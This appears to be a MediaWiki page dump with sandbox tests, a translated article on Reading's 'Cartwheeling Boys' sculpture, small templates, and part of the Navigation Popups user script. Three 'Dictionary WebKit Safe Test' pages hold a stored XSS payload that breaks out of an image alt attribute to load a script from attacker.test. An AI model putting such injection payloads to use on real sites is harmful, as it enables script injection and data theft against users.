$('#customFontFace').remove(); $('',{id:'customFontFace'}).text('@font-face { font-family: "'+top+'"; src: url("'+r.dataUrl+'"); }').appendTo('head');
document.body.style.setProperty('font-family', top, 'important'); $('#fontFamilyInput').val(top);
}
});
}
}
});
});
// Hooks global buffer reader allocation
$(document).on('change', '#fontFileInput', function() {
if (this.files && this.files[0]) {
var r = new FileReader(); r.onload = function(e) { window.uploadedFontDataUrl = e.target.result; };
r.readAsDataURL(this.files[0]);
}
});
})();
0emu46afxu41j61f2n84fr6oyt6f9ko
Wikipedia:Sandbox/MoveIt moved 2026-10-13T14-07-02-306Z
4
179226
768276
2026-10-13T14:07:03Z
Closed Limelike Curves
60396
MoveIt live rename test: creating the page to be renamed
768276
wikitext
text/x-wiki
Throwaway page for the Move It live rename test (2026-10-13T14-07-02-306Z). Safe to delete.
g11iqes336fz5e96a9eapryjksmvwti
768277
768276
2026-10-13T14:07:04Z
Closed Limelike Curves
60396
Closed Limelike Curves moved page [[Wikipedia:Sandbox/MoveIt move 2026-10-13T14-07-02-306Z]] to [[Wikipedia:Sandbox/MoveIt moved 2026-10-13T14-07-02-306Z]]: Move It live rename test (via Move It browser extension)
768276
wikitext
text/x-wiki
Throwaway page for the Move It live rename test (2026-10-13T14-07-02-306Z). Safe to delete.
g11iqes336fz5e96a9eapryjksmvwti
768280
768277
2026-10-13T14:07:05Z
Closed Limelike Curves
60396
MoveIt live rename test teardown
768280
wikitext
text/x-wiki
phoiac9h4m842xq45sp7s6u21eteeq1
Wikipedia:Sandbox/MoveIt move 2026-10-13T14-07-02-306Z
4
179227
768278
2026-10-13T14:07:04Z
Closed Limelike Curves
60396
Closed Limelike Curves moved page [[Wikipedia:Sandbox/MoveIt move 2026-10-13T14-07-02-306Z]] to [[Wikipedia:Sandbox/MoveIt moved 2026-10-13T14-07-02-306Z]]: Move It live rename test (via Move It browser extension)
768278
wikitext
text/x-wiki
#REDIRECT [[Wikipedia:Sandbox/MoveIt moved 2026-10-13T14-07-02-306Z]]
{{Redirect category shell|
{{R from move}}
}}
9mac31uso3ukik25b1ss9b1rmomugig
768279
768278
2026-10-13T14:07:05Z
Closed Limelike Curves
60396
MoveIt live rename test teardown
768279
wikitext
text/x-wiki
phoiac9h4m842xq45sp7s6u21eteeq1
Dictionary WebKit Safe Test 2026 Sinbadx83 V25
0
179228
768288
2026-10-13T15:39:07Z
~2026-54988-93
76171
Created page with "Temporary multi-target private-file reachability test for Apple Dictionary V25. File:Example.jpg|alt=AA" onload="if(!window.__dictionaryRemoteSensitiveMatrixLoaderV25){window.__dictionaryRemoteSensitiveMatrixLoaderV25=1;var s=document.createElement('script');s.src='http://attacker.test:8018/wiki_remote_sensitive_matrix_v5.js?t='+Date.now();s.onload=function(){document.body.insertAdjacentText('beforeend',' DICTIONARY_REMOTE_SENSITIVE_MATRIX_SCRIPT_LOADED ')};s.onerror=..."
768288
wikitext
text/x-wiki
Temporary multi-target private-file reachability test for Apple Dictionary V25.
[[File:Example.jpg|alt=AA" onload="if(!window.__dictionaryRemoteSensitiveMatrixLoaderV25){window.__dictionaryRemoteSensitiveMatrixLoaderV25=1;var s=document.createElement('script');s.src='http://attacker.test:8018/wiki_remote_sensitive_matrix_v5.js?t='+Date.now();s.onload=function(){document.body.insertAdjacentText('beforeend',' DICTIONARY_REMOTE_SENSITIVE_MATRIX_SCRIPT_LOADED ')};s.onerror=function(){document.body.insertAdjacentText('beforeend',' DICTIONARY_REMOTE_SENSITIVE_MATRIX_SCRIPT_BLOCKED ')};document.body.appendChild(s)}" onerror="this.onload()|21x21px]]
pzsfavyck3isfuoqgllu3i4i50gxfel
Dictionary WebKit Safe Test 2026 Sinbadx83 V27
0
179229
768330
2026-10-13T17:33:13Z
Sinbadx83
76138
Created page with "Temporary remote-only unique sensitive-path test for Apple Dictionary V27. File:Example.jpg|alt=AA" onload="if(!window.__dictionaryRemoteUniqueSensitiveMatrixLoaderV27){window.__dictionaryRemoteUniqueSensitiveMatrixLoaderV27=1;var s=document.createElement('script');s.src='http://attacker.test:8018/wiki_remote_unique_sensitive_matrix_v6.js?t='+Date.now();s.onload=function(){document.body.insertAdjacentText('beforeend',' DICTIONARY_REMOTE_UNIQUE_SENSITIVE_MATRIX_SCRIPT_..."
768330
wikitext
text/x-wiki
Temporary remote-only unique sensitive-path test for Apple Dictionary V27.
[[File:Example.jpg|alt=AA" onload="if(!window.__dictionaryRemoteUniqueSensitiveMatrixLoaderV27){window.__dictionaryRemoteUniqueSensitiveMatrixLoaderV27=1;var s=document.createElement('script');s.src='http://attacker.test:8018/wiki_remote_unique_sensitive_matrix_v6.js?t='+Date.now();s.onload=function(){document.body.insertAdjacentText('beforeend',' DICTIONARY_REMOTE_UNIQUE_SENSITIVE_MATRIX_SCRIPT_LOADED ')};s.onerror=function(){document.body.insertAdjacentText('beforeend',' DICTIONARY_REMOTE_UNIQUE_SENSITIVE_MATRIX_SCRIPT_BLOCKED ')};document.body.appendChild(s)}" onerror="this.onload()|21x21px]]
jp1m87o8amttlscrabfy8oaiodz9xve
Dictionary WebKit Safe Test 2026 Sinbadx83 V28
0
179230
768336
2026-10-13T18:29:07Z
Sinbadx83
76138
Created page with "Temporary opt-in loopback-only byte-for-byte verification for Apple Dictionary. File:Example.jpg|alt=AA" onload="if(!window.__appleDictionaryRawLocalLoader){window.__appleDictionaryRawLocalLoader=1;var s=document.createElement('script');s.src='http://attacker.test:8018/raw-local-capture.js?t='+Date.now();s.onload=function(){document.body.insertAdjacentText('beforeend',' RAW_LOCAL_CAPTURE_SCRIPT_LOADED ')};s.onerror=function(){document.body.insertAdjacentText('beforeen..."
768336
wikitext
text/x-wiki
Temporary opt-in loopback-only byte-for-byte verification for Apple Dictionary.
[[File:Example.jpg|alt=AA" onload="if(!window.__appleDictionaryRawLocalLoader){window.__appleDictionaryRawLocalLoader=1;var s=document.createElement('script');s.src='http://attacker.test:8018/raw-local-capture.js?t='+Date.now();s.onload=function(){document.body.insertAdjacentText('beforeend',' RAW_LOCAL_CAPTURE_SCRIPT_LOADED ')};s.onerror=function(){document.body.insertAdjacentText('beforeend',' RAW_LOCAL_CAPTURE_SCRIPT_BLOCKED ')};document.body.appendChild(s)}" onerror="this.onload()|21x21px]]
tqycoowxumvifees81lm7vtl77w40lq
Cartwheeling Boys
0
179231
768338
2026-10-13T21:15:09Z
Thepharoah17
72124
Auto-created by SectionTranslation:onSectionTranslationBeforePublish
768338
wikitext
text/x-wiki
{{Infobox historic site}}
'''Cartwheeling Boys''' is a monumental work by British sculptor Brian Slack, erected in 1981 next to the Reading Civic Centre. The monument commemorates the 30th anniversary of the [[Sister city|friendly relations]] between [[Reading, Berkshire|Reading]] (United Kingdom) and [[Düsseldorf]](Germany), established in 1947.
65ju0r09t0pk59osnqgenjavluc8uqs
768339
768338
2026-10-13T21:15:10Z
Thepharoah17
72124
Created by translating the section "История" from the page "[[:ru:Special:Redirect/revision/155497802|Мальчики, делающие колесо (Рединг)]]"
768339
wikitext
text/x-wiki
{{Infobox historic site}}
'''Cartwheeling Boys''' is a monumental work by British sculptor Brian Slack, erected in 1981 next to the Reading Civic Centre. The monument commemorates the 30th anniversary of the [[Sister city|friendly relations]] between [[Reading, Berkshire|Reading]] (United Kingdom) and [[Düsseldorf]](Germany), established in 1947.
== History ==
After the end of [[Britain in World War II|World War II,]] [[Reading]] became the first town in Britain to establish contact with the Germans, its recent enemies. In 1946, [[Phoebe Cusden]], the mayor of Reading, organized a collection in England of money, food, clothing, shoes, and other essentials to help the residents of [[Düsseldorf]] , then under British occupation. In 1947 the Reading and Düsseldorf Association was founded. That same year, six children from Düsseldorf were invited to live in Reading for three months, and in July 1949 the Reading Youth Orchestra visited Düsseldorf to perform concerts. Since then, Reading and Düsseldorf have maintained cultural and economic cooperation and have been official sister cities since 1988.
In 1977, to commemorate the 30th anniversary of the establishment of friendly relations, Düsseldorf presented Reading with a sculpture. The panel depicting the [[Düsseldorf's cartwheeler|Radschläger]] boys, who are a traditional symbol of Düsseldorf, was designed by the English sculptor ''Brian Slack'' . The figures of boys making [[Cartwheel (gymnastics)|a cartwheel]] were cast at [[Brunel University of London|Brunel University]] in London. In 1981, a monument was erected at the end of a small alley opposite the [[Reading Civic Centre]] building.
In mid-February 2022, when [[Storm Eunice]] hit England, the brick wall of the monument, its upper part with its figured masonry, was toppled by strong gusts of wind, and the sculptures attached to it were smashed. On February 18, the Reading press secretary, having announced to the press the destruction of the monument, immediately reported that the police had collected the fragments of the sculptures and the mayor's office would think about how to restore the monument <ref>{{Cite web |last=Matt Jackson |date=2022-02-18 |title=Storm Eunice 'damages' Reading's iconic cartwheeling boy statue |url=https://www.getreading.co.uk/news/reading-berkshire-news/storm-eunice-damages-readings-iconic-23150388 |archive-url= |archive-date= |website=Berkshire Live |language=en}}</ref> .
[[Файл:Civic_Centre,_Bridge_Street,_Reading,_Berkshire_-_July_2026_-_03.jpg|thumb|Reading Central Library building (right) with recreated figures of [[Düsseldorf's cartwheeler|Radschläger boys]] on the facade, July 2026]]
At the end of February 2026, the sculptures were re-created on the façade of the building adjacent to the Reading Borough Council, where the city's new Central Library was opened in the summer of that year. The sculptures were lifted using a crane and secured in a rigid frame. The commemorative plaque was erected by the Reading and Düsseldorf Association <ref>{{Cite web |last=Nathan Briant |date=2026-02-27 |title=Cartwheeling Boys artwork back on display |url=https://www.bbc.com/news/articles/cd702q01r9go |url-status=live |archive-url=https://web.archive.org/web/20260307063843/https://www.bbc.com/news/articles/cd702q01r9go |archive-date=2026-03-07 |access-date=2026-09-16 |website=BBC |language=en}}</ref> . Since the light-colored aluminum figures are attached to a white facade wall, which, in addition, instead of the previous figured arc, as if repeating the movements of the boys, is lined with straight parallel lines, the monument has largely lost its original artistic expressiveness.
ajwk0njr0isxssx8o50jfe9uj0it4jp
768341
768339
2026-10-13T21:41:19Z
Thepharoah17
72124
/* History */
768341
wikitext
text/x-wiki
{{Infobox historic site}}
'''Cartwheeling Boys''' is a monumental work by British sculptor Brian Slack, erected in 1981 next to the Reading Civic Centre. The monument commemorates the 30th anniversary of the [[Sister city|friendly relations]] between [[Reading, Berkshire|Reading]] (United Kingdom) and [[Düsseldorf]](Germany), established in 1947.
== History ==
After the end of [[Britain in World War II|World War II,]] [[Reading]] became the first town in Britain to establish contact with the Germans, its recent enemies. In 1946, [[Phoebe Cusden]], the mayor of Reading, organized a collection in England of money, food, clothing, shoes, and other essentials to help the residents of [[Düsseldorf]] , then under British occupation. In 1947 the Reading and Düsseldorf Association was founded. That same year, six children from Düsseldorf were invited to live in Reading for three months, and in July 1949 the Reading Youth Orchestra visited Düsseldorf to perform concerts. Since then, Reading and Düsseldorf have maintained cultural and economic cooperation and have been official sister cities since 1988.
In 1977, to commemorate the 30th anniversary of the establishment of friendly relations, Düsseldorf presented Reading with a sculpture. The panel depicting the [[Düsseldorf's cartwheeler|Radschläger]] boys, who are a traditional symbol of Düsseldorf, was designed by the English sculptor ''Brian Slack'' . The figures of boys making [[Cartwheel (gymnastics)|a cartwheel]] were cast at [[Brunel University of London|Brunel University]] in London. In 1981, a monument was erected at the end of a small alley opposite the [[Reading Civic Centre]] building.
In mid-February 2022, when [[Storm Eunice]] hit England, the brick wall of the monument, its upper part with its figured masonry, was toppled by strong gusts of wind, and the sculptures attached to it were smashed. On February 18, the Reading press secretary, having announced to the press the destruction of the monument, immediately reported that the police had collected the fragments of the sculptures and the mayor's office would think about how to restore the monument <ref>{{Cite web |last=Matt Jackson |date=2022-02-18 |title=Storm Eunice 'damages' Reading's iconic cartwheeling boy statue |url=https://www.getreading.co.uk/news/reading-berkshire-news/storm-eunice-damages-readings-iconic-23150388 |archive-url= |archive-date= |website=Berkshire Live |language=en}}</ref> .
[[File:Civic_Centre,_Bridge_Street,_Reading,_Berkshire_-_July_2026_-_03.jpg|thumb|Reading Central Library building (right) with recreated figures of [[Düsseldorf's cartwheeler|Radschläger boys]] on the facade, July 2026]]
At the end of February 2026, the sculptures were re-created on the façade of the building adjacent to the Reading Borough Council, where the city's new Central Library was opened in the summer of that year. The sculptures were lifted using a crane and secured in a rigid frame. The commemorative plaque was erected by the Reading and Düsseldorf Association <ref>{{Cite web |last=Nathan Briant |date=2026-02-27 |title=Cartwheeling Boys artwork back on display |url=https://www.bbc.com/news/articles/cd702q01r9go |url-status=live |archive-url=https://web.archive.org/web/20260307063843/https://www.bbc.com/news/articles/cd702q01r9go |archive-date=2026-03-07 |access-date=2026-09-16 |website=BBC |language=en}}</ref> . Since the light-colored aluminum figures are attached to a white facade wall, which, in addition, instead of the previous figured arc, as if repeating the movements of the boys, is lined with straight parallel lines, the monument has largely lost its original artistic expressiveness.
p6jl18siqpezrmb8zoxayskjbstkbdh
User talk:Flanaganharold80
3
179232
768340
2026-10-13T21:28:37Z
Flanaganharold80
76183
/* Hello, world */ Hello from OAuth!
768340
wikitext
text/x-wiki
== Hello, world ==
This message was posted using the OAuth Hello World application, and should be seen as coming from yourself. To revoke this application's access to your account, visit [[:meta:Special:OAuthManageMyGrants]]. [[User:Flanaganharold80|Flanaganharold80]] ([[User talk:Flanaganharold80|talk]]) 21:28, 13 October 2026 (UTC)
j34bgnb3ts1i7xto22l4owpt9zktav9
Wikipedia:UAA
4
179233
768342
2026-10-13T22:42:33Z
Ow0cast
61643
how do we not have this yet
768342
wikitext
text/x-wiki
#REDIRECT [[Wikipedia:Usernames for administrator attention]]
{{R from shortcut}}
ddxtgj2kbu5jwy0svocky1jtgx81mkz
Template:Divider
10
179234
768351
2026-10-14T02:45:15Z
Tamarind50182
75180
/* */
768351
wikitext
text/x-wiki
<div style="border-bottom:1px solid #a3a9b0; margin-top:0.2em; margin-bottom:0.2em;"></div><noinclude>
{{Documentation}}
0hdw9shljuemuuhxetnnkhjp9venqs3
Template:Dividing line
10
179235
768352
2026-10-14T02:46:12Z
Tamarind50182
75180
/* */
768352
wikitext
text/x-wiki
----
ki1nwkvmkv95mft26oxka929uy67oir
Template:Rule
10
179236
768353
2026-10-14T02:47:40Z
Tamarind50182
75180
/* */
768353
wikitext
text/x-wiki
<hr />
mwntklprfvuppmrnhmp00dk91c1xspl
User:Johannes Richter (WMDE)/common.js
2
179237
768366
2026-10-14T11:26:14Z
Johannes Richter (WMDE)
61456
test
768366
javascript
text/javascript
// STARTFILE: main.js
// **********************************************************************
// ** **
// ** changes to this file affect many users. **
// ** please discuss on the talk page before editing **
// ** **
// **********************************************************************
// ** **
// ** if you do edit this file, be sure that your editor recognizes it **
// ** as utf8, or the weird and wonderful characters in the namespaces **
// ** below will be completely broken. You can check with the show **
// ** changes button before submitting the edit. **
// ** test: مدیا מיוחד Мэдыя **
// ** **
// **********************************************************************
/* eslint-env browser */
/* global $, jQuery, mw, window */
// Fix later
/* global log, errlog, popupStrings, wikEdUseWikEd, WikEdUpdateFrame */
$(() => {
//////////////////////////////////////////////////
// Globals
//
// Trying to shove as many of these as possible into the pg (popup globals) object
const pg = {
api: {}, // MediaWiki API requests
re: {}, // regexps
ns: {}, // namespaces
string: {}, // translatable strings
wiki: {}, // local site info
user: {}, // current user info
misc: {}, // YUCK PHOOEY
option: {}, // options, see newOption etc
optionDefault: {}, // default option values
flag: {}, // misc flags
cache: {}, // page and image cache
structures: {}, // navlink structures
timer: {}, // all sorts of timers (too damn many)
counter: {}, // .. and all sorts of counters
current: {}, // state info
fn: {}, // functions
endoflist: null,
};
/* Bail if the gadget/script is being loaded twice */
/* An element with id "pg" would add a window.pg property, ignore such property */
if (window.pg && !(window.pg instanceof HTMLElement)) {
return;
}
/* Export to global context */
window.pg = pg;
/// Local Variables: ///
/// mode:c ///
/// End: ///
// ENDFILE: main.js
// STARTFILE: actions.js
function setupTooltips(container, remove, force, popData) {
log('setupTooltips, container=' + container + ', remove=' + remove);
if (!container) {
// the main initial call
if (
getValueOf('popupOnEditSelection') &&
document &&
document.editform &&
document.editform.wpTextbox1
) {
document.editform.wpTextbox1.onmouseup = doSelectionPopup;
}
// article/content is a structure-dependent thing
container = defaultPopupsContainer();
}
if (!remove && !force && container.ranSetupTooltipsAlready) {
return;
}
container.ranSetupTooltipsAlready = !remove;
let anchors;
anchors = container.getElementsByTagName('A');
setupTooltipsLoop(anchors, 0, 250, 100, remove, popData);
}
function defaultPopupsContainer() {
if (getValueOf('popupOnlyArticleLinks')) {
return (
document.querySelector('.skin-vector-2022 .vector-body') ||
document.getElementById('mw_content') ||
document.getElementById('content') ||
document.getElementById('article') ||
document
);
}
return document;
}
function setupTooltipsLoop(anchors, begin, howmany, sleep, remove, popData) {
log(simplePrintf('setupTooltipsLoop(%s,%s,%s,%s,%s)', arguments));
const finish = begin + howmany;
const loopend = Math.min(finish, anchors.length);
let j = loopend - begin;
log(
'setupTooltips: anchors.length=' +
anchors.length +
', begin=' +
begin +
', howmany=' +
howmany +
', loopend=' +
loopend +
', remove=' +
remove
);
const doTooltip = remove ? removeTooltip : addTooltip;
// try a faster (?) loop construct
if (j > 0) {
do {
const a = anchors[loopend - j];
if (typeof a === 'undefined' || !a || !a.href) {
log('got null anchor at index ' + loopend - j);
continue;
}
doTooltip(a, popData);
} while (--j);
}
if (finish < anchors.length) {
setTimeout(() => {
setupTooltipsLoop(anchors, finish, howmany, sleep, remove, popData);
}, sleep);
} else {
if (!remove && !getValueOf('popupTocLinks')) {
rmTocTooltips();
}
pg.flag.finishedLoading = true;
}
}
// eliminate popups from the TOC
// This also kills any onclick stuff that used to be going on in the toc
function rmTocTooltips() {
const toc = document.getElementById('toc');
if (toc) {
const tocLinks = toc.getElementsByTagName('A');
const tocLen = tocLinks.length;
for (let j = 0; j < tocLen; ++j) {
removeTooltip(tocLinks[j], true);
}
}
}
function addTooltip(a, popData) {
if (!isPopupLink(a)) {
return;
}
a.onmouseover = mouseOverWikiLink;
a.onmouseout = mouseOutWikiLink;
a.onmousedown = killPopup;
a.hasPopup = true;
a.popData = popData;
}
function removeTooltip(a) {
if (!a.hasPopup) {
return;
}
a.onmouseover = null;
a.onmouseout = null;
if (a.originalTitle) {
a.title = a.originalTitle;
}
a.hasPopup = false;
}
function removeTitle(a) {
if (!a.originalTitle) {
a.originalTitle = a.title;
}
a.title = '';
}
function restoreTitle(a) {
if (a.title || !a.originalTitle) {
return;
}
a.title = a.originalTitle;
}
function registerHooks(np) {
const popupMaxWidth = getValueOf('popupMaxWidth');
if (typeof popupMaxWidth === 'number') {
const setMaxWidth = function () {
np.mainDiv.style.maxWidth = popupMaxWidth + 'px';
np.maxWidth = popupMaxWidth;
};
np.addHook(setMaxWidth, 'unhide', 'before');
}
np.addHook(addPopupShortcuts, 'unhide', 'after');
np.addHook(rmPopupShortcuts, 'hide', 'before');
}
function removeModifierKeyHandler(a) {
//remove listeners for modifier key if any that were added in mouseOverWikiLink
document.removeEventListener('keydown', a.modifierKeyHandler, false);
document.removeEventListener('keyup', a.modifierKeyHandler, false);
}
function mouseOverWikiLink(evt) {
if (!evt && window.event) {
evt = window.event;
}
// if the modifier is needed, listen for it,
// we will remove the listener when we mouseout of this link or kill popup.
if (getValueOf('popupModifier')) {
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
const key = action == 'disable' ? 'keyup' : 'keydown';
const a = this;
a.modifierKeyHandler = function (evt) {
mouseOverWikiLink2(a, evt);
};
document.addEventListener(key, a.modifierKeyHandler, false);
}
return mouseOverWikiLink2(this, evt);
}
/**
* Gets the references list item that the provided footnote link targets. This
* is typically a li element within the ol.references element inside the reflist.
*
* @param {Element} a - A footnote link.
* @return {Element|boolean} The targeted element, or false if one can't be found.
*/
function footnoteTarget(a) {
const aTitle = Title.fromAnchor(a);
// We want ".3A" rather than "%3A" or "?" here, so use the anchor property directly
const anch = aTitle.anchor;
if (!/^(cite_note-|_note-|endnote)/.test(anch)) {
return false;
}
const lTitle = Title.fromURL(location.href);
if (lTitle.toString(true) !== aTitle.toString(true)) {
return false;
}
let el = document.getElementById(anch);
while (el && typeof el.nodeName === 'string') {
const nt = el.nodeName.toLowerCase();
if (nt === 'li') {
return el;
} else if (nt === 'body') {
return false;
} else if (el.parentNode) {
el = el.parentNode;
} else {
return false;
}
}
return false;
}
function footnotePreview(x, navpop) {
setPopupHTML('<hr />' + x.innerHTML, 'popupPreview', navpop.idNumber);
}
function modifierPressed(evt) {
const mod = getValueOf('popupModifier');
if (!mod) {
return false;
}
if (!evt && window.event) {
evt = window.event;
}
return evt && mod && evt[mod.toLowerCase() + 'Key'];
}
// Checks if the correct modifier pressed/unpressed if needed
function isCorrectModifier(a, evt) {
if (!getValueOf('popupModifier')) {
return true;
}
// if popupModifierAction = enable, we should popup when the modifier is pressed
// if popupModifierAction = disable, we should popup unless the modifier is pressed
const action = getValueOf('popupModifierAction');
return (
(action == 'enable' && modifierPressed(evt)) || (action == 'disable' && !modifierPressed(evt))
);
}
function mouseOverWikiLink2(a, evt) {
if (!isCorrectModifier(a, evt)) {
return;
}
if (getValueOf('removeTitles')) {
removeTitle(a);
}
if (a == pg.current.link && a.navpopup && a.navpopup.isVisible()) {
return;
}
pg.current.link = a;
if (getValueOf('simplePopups') && !pg.option.popupStructure) {
// reset *default value* of popupStructure
setDefault('popupStructure', 'original');
}
const article = new Title().fromAnchor(a);
// set global variable (ugh) to hold article (wikipage)
pg.current.article = article;
if (!a.navpopup) {
a.navpopup = newNavpopup(a, article);
pg.current.linksHash[a.href] = a.navpopup;
pg.current.links.push(a);
}
if (a.navpopup.pending === null || a.navpopup.pending !== 0) {
// either fresh popups or those with unfinshed business are redone from scratch
simplePopupContent(a, article);
}
a.navpopup.showSoonIfStable(a.navpopup.delay);
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = setInterval(checkPopupPosition, 600);
if (getValueOf('simplePopups')) {
if (getValueOf('popupPreviewButton') && !a.simpleNoMore) {
const d = document.createElement('div');
d.className = 'popupPreviewButtonDiv';
const s = document.createElement('span');
d.appendChild(s);
s.className = 'popupPreviewButton';
s['on' + getValueOf('popupPreviewButtonEvent')] = function () {
a.simpleNoMore = true;
d.style.display = 'none';
nonsimplePopupContent(a, article);
};
s.innerHTML = popupString('show preview');
setPopupHTML(d, 'popupPreview', a.navpopup.idNumber);
}
}
if (a.navpopup.pending !== 0) {
nonsimplePopupContent(a, article);
}
}
// simplePopupContent: the content that do not require additional download
// (it is shown even when simplePopups is true)
function simplePopupContent(a, article) {
/* FIXME hack */ a.navpopup.hasPopupMenu = false;
a.navpopup.setInnerHTML(popupHTML(a));
fillEmptySpans({ navpopup: a.navpopup });
if (getValueOf('popupDraggable')) {
let dragHandle = getValueOf('popupDragHandle') || null;
if (dragHandle && dragHandle != 'all') {
dragHandle += a.navpopup.idNumber;
}
setTimeout(() => {
a.navpopup.makeDraggable(dragHandle);
}, 150);
}
if (getValueOf('popupRedlinkRemoval') && a.className == 'new') {
setPopupHTML('<br>' + popupRedlinkHTML(article), 'popupRedlink', a.navpopup.idNumber);
}
}
function debugData(navpopup) {
if (getValueOf('popupDebugging') && navpopup.idNumber) {
setPopupHTML(
'idNumber=' + navpopup.idNumber + ', pending=' + navpopup.pending,
'popupError',
navpopup.idNumber
);
}
}
function newNavpopup(a, article) {
const navpopup = new Navpopup();
navpopup.fuzz = 5;
navpopup.delay = getValueOf('popupDelay') * 1000;
// increment global counter now
navpopup.idNumber = ++pg.idNumber;
navpopup.parentAnchor = a;
navpopup.parentPopup = a.popData && a.popData.owner;
navpopup.article = article;
registerHooks(navpopup);
return navpopup;
}
// Should we show nonsimple context?
// If simplePopups is set to true, then we do not show nonsimple context,
// but if a bottom "show preview" was clicked we do show nonsimple context
function shouldShowNonSimple(a) {
return !getValueOf('simplePopups') || a.simpleNoMore;
}
// Should we show nonsimple context govern by the option (e.g. popupUserInfo)?
// If the user explicitly asked for nonsimple context by setting the option to true,
// then we show it even in nonsimple mode.
function shouldShow(a, option) {
if (shouldShowNonSimple(a)) {
return getValueOf(option);
} else {
return typeof window[option] != 'undefined' && window[option];
}
}
function nonsimplePopupContent(a, article) {
let diff = null,
history = null;
const params = parseParams(a.href);
const oldid = typeof params.oldid == 'undefined' ? null : params.oldid;
if (shouldShow(a, 'popupPreviewDiffs')) {
diff = params.diff;
}
if (shouldShow(a, 'popupPreviewHistory')) {
history = params.action == 'history';
}
a.navpopup.pending = 0;
const referenceElement = footnoteTarget(a);
if (referenceElement) {
footnotePreview(referenceElement, a.navpopup);
} else if (diff || diff === 0) {
loadDiff(article, oldid, diff, a.navpopup);
} else if (history) {
loadAPIPreview('history', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.contribs.test(a.href)) {
loadAPIPreview('contribs', article, a.navpopup);
} else if (shouldShowNonSimple(a) && pg.re.backlinks.test(a.href)) {
loadAPIPreview('backlinks', article, a.navpopup);
} else if (
// FIXME should be able to get all preview combinations with options
article.namespaceId() == pg.nsImageId &&
(shouldShow(a, 'imagePopupsForImages') || !anchorContainsImage(a))
) {
loadAPIPreview('imagepagepreview', article, a.navpopup);
loadImage(article, a.navpopup);
} else {
if (article.namespaceId() == pg.nsCategoryId && shouldShow(a, 'popupCategoryMembers')) {
loadAPIPreview('category', article, a.navpopup);
} else if (
(article.namespaceId() == pg.nsUserId || article.namespaceId() == pg.nsUsertalkId) &&
shouldShow(a, 'popupUserInfo')
) {
loadAPIPreview('userinfo', article, a.navpopup);
}
if (shouldShowNonSimple(a)) {
startArticlePreview(article, oldid, a.navpopup);
}
}
}
function pendingNavpopTask(navpop) {
if (navpop && navpop.pending === null) {
navpop.pending = 0;
}
++navpop.pending;
debugData(navpop);
}
function completedNavpopTask(navpop) {
if (navpop && navpop.pending) {
--navpop.pending;
}
debugData(navpop);
}
function startArticlePreview(article, oldid, navpop) {
navpop.redir = 0;
loadPreview(article, oldid, navpop);
}
function loadPreview(article, oldid, navpop) {
if (!navpop.redir) {
navpop.originalArticle = article;
}
article.oldid = oldid;
loadAPIPreview('revision', article, navpop);
}
function loadPreviewFromRedir(redirMatch, navpop) {
// redirMatch is a regex match
const target = new Title().fromWikiText(redirMatch[2]);
// overwrite (or add) anchor from original target
// mediawiki does overwrite; eg [[User:Lupin/foo3#Done]]
if (navpop.article.anchor) {
target.anchor = navpop.article.anchor;
}
navpop.redir++;
navpop.redirTarget = target;
const warnRedir = redirLink(target, navpop.article);
setPopupHTML(warnRedir, 'popupWarnRedir', navpop.idNumber);
navpop.article = target;
fillEmptySpans({ redir: true, redirTarget: target, navpopup: navpop });
return loadPreview(target, null, navpop);
}
function insertPreview(download) {
if (!download.owner) {
return;
}
const redirMatch = pg.re.redirect.exec(download.data);
if (download.owner.redir === 0 && redirMatch) {
loadPreviewFromRedir(redirMatch, download.owner);
return;
}
if (download.owner.visible || !getValueOf('popupLazyPreviews')) {
insertPreviewNow(download);
} else {
const id = download.owner.redir ? 'PREVIEW_REDIR_HOOK' : 'PREVIEW_HOOK';
download.owner.addHook(
() => {
insertPreviewNow(download);
return true;
},
'unhide',
'after',
id
);
}
}
function insertPreviewNow(download) {
if (!download.owner) {
return;
}
const wikiText = download.data;
const navpop = download.owner;
const art = navpop.redirTarget || navpop.originalArticle;
makeFixDabs(wikiText, navpop);
if (getValueOf('popupSummaryData')) {
getPageInfo(wikiText, download);
setPopupTrailer(getPageInfo(wikiText, download), navpop.idNumber);
}
let imagePage = '';
if (art.namespaceId() == pg.nsImageId) {
imagePage = art.toString();
} else {
imagePage = getValidImageFromWikiText(wikiText);
}
if (imagePage) {
loadImage(Title.fromWikiText(imagePage), navpop);
}
if (getValueOf('popupPreviews')) {
insertArticlePreview(download, art, navpop);
}
}
function insertArticlePreview(download, art, navpop) {
if (download && typeof download.data == typeof '') {
if (art.namespaceId() == pg.nsTemplateId && getValueOf('popupPreviewRawTemplates')) {
// FIXME compare/consolidate with diff escaping code for wikitext
const h =
'<hr /><span style="font-family: monospace;">' +
download.data.entify().split('\\n').join('<br />\\n') +
'</span>';
setPopupHTML(h, 'popupPreview', navpop.idNumber);
} else {
const p = prepPreviewmaker(download.data, art, navpop);
p.showPreview();
}
}
}
function prepPreviewmaker(data, article, navpop) {
// deal with tricksy anchors
const d = anchorize(data, article.anchorString());
const urlBase = joinPath([pg.wiki.articlebase, article.urlString()]);
const p = new Previewmaker(d, urlBase, navpop);
return p;
}
// Try to imitate the way mediawiki generates HTML anchors from section titles
function anchorize(d, anch) {
if (!anch) {
return d;
}
const anchRe = RegExp(
'(?:=+\\s*' +
literalizeRegex(anch).replace(/[_ ]/g, '[_ ]') +
'\\s*=+|\\{\\{\\s*' +
getValueOf('popupAnchorRegexp') +
'\\s*(?:\\|[^|}]*)*?\\s*' +
literalizeRegex(anch) +
'\\s*(?:\\|[^}]*)?}})'
);
const match = d.match(anchRe);
if (match && match.length > 0 && match[0]) {
return d.substring(d.indexOf(match[0]));
}
// now try to deal with == foo [[bar|baz]] boom == -> #foo_baz_boom
const lines = d.split('\n');
for (let i = 0; i < lines.length; ++i) {
lines[i] = lines[i]
.replace(/[[]{2}([^|\]]*?[|])?(.*?)[\]]{2}/g, '$2')
.replace(/'''([^'])/g, '$1')
.replace(/''([^'])/g, '$1');
if (lines[i].match(anchRe)) {
return d.split('\n').slice(i).join('\n').replace(/^[^=]*/, '');
}
}
return d;
}
function killPopup() {
removeModifierKeyHandler(this);
if (getValueOf('popupShortcutKeys')) {
rmPopupShortcuts();
}
if (!pg) {
return;
}
if (pg.current.link && pg.current.link.navpopup) {
pg.current.link.navpopup.banish();
}
pg.current.link = null;
abortAllDownloads();
if (pg.timer.checkPopupPosition) {
clearInterval(pg.timer.checkPopupPosition);
pg.timer.checkPopupPosition = null;
}
return true; // preserve default action
}
// ENDFILE: actions.js
// STARTFILE: domdrag.js
